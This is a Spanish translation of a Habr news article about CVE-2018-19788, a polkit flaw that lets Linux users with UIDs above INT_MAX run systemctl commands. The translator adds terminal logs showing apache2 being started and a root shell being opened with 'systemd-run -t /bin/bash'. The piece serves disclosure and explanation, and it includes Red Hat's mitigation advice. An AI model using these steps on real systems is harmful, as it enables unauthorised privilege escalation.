Los usuarios de Linux sin privilegios con UID> INT_MAX pueden ejecutar cualquier comando

Siéntate, tengo noticias que te están sorprendiendo en este momento ...

Los sistemas operativos Linux tienen una vulnerabilidad no disimulada que permite que un usuario con privilegios bajos sea autorizado para ejecutar cualquier comando systemctl (e incluso convertirse en root - aprox. Translator) si su UID es mayor que 2147483647.

imagen

La vulnerabilidad descrita, rastreada como CVE-2018-19788, se encuentra en la biblioteca PolicyKit (también conocida como polkit ) versión 0.115 , preinstalada en las distribuciones de Linux más populares, incluidas Red Hat, Debian, Ubuntu y CentOS. Polkit es una herramienta en sistemas similares a UNIX que se utiliza para definir políticas y proporcionar procesos privilegiados con acceso privilegiado. A diferencia de sudo, no otorga privilegios de administrador al proceso del usuario, pero le permite controlar con precisión lo que está permitido y lo que está prohibido.

La vulnerabilidad existe debido a un error al verificar las solicitudes de PolicyKit de derechos para cualquier usuario con un UID mayor que INT_MAX. Donde INT_MAX es una constante que almacena el valor máximo de una variable entera de tipo entero, que es 2147483647 (en hexadecimal 0x7FFFFFFF).

Por lo tanto, si creamos una cuenta con cualquier UID que exceda INT_MAX, el componente PolicyKit ejecutará con éxito cualquier comando systemctl.

El investigador de seguridad de Twitter Rich Mirch, quien se presentó como " 0xm1rch " , lanzó un exploit de prueba de concepto (PoC) para demostrar con éxito la vulnerabilidad que requiere un usuario con un UID de 4,000,000,000.

Red Hat recomienda que los administradores del sistema no permitan ningún UID negativo o UID mayor que 2147483646 para aliviar el problema antes de que se lance el parche.

Varios métodos de operación de un traductor


La primera forma es simplemente a través de systemctl. Creé un usuario con un UID grande, luego intenté ejecutar apache2:

1) primero comprobó que estaba mintiendo

$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead) 

2) intenté comenzar, pero recibí un error

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3) pero luego se aseguró de que todavía comenzara

 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start 

La segunda forma es ejecutar bash a través de systemd. Ejecuté el siguiente comando, creé un documento de texto en la raíz de fs, le agregué una línea y verifiqué el resultado

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

Mientras experimentaba en mi ubunt, también encontré ese patrón: si bajo un usuario con dicho UID, vaya a la configuración de la cuenta, entonces todas las configuraciones están desbloqueadas, lo que le permite editar / eliminar cualquier usuario.

La pregunta sigue siendo, ¿cómo "causar" la aparición de un usuario con dicho UID en el host víctima, y ​​este error es realmente una amenaza?

Source: https://habr.com/ru/post/es432610/


All Articles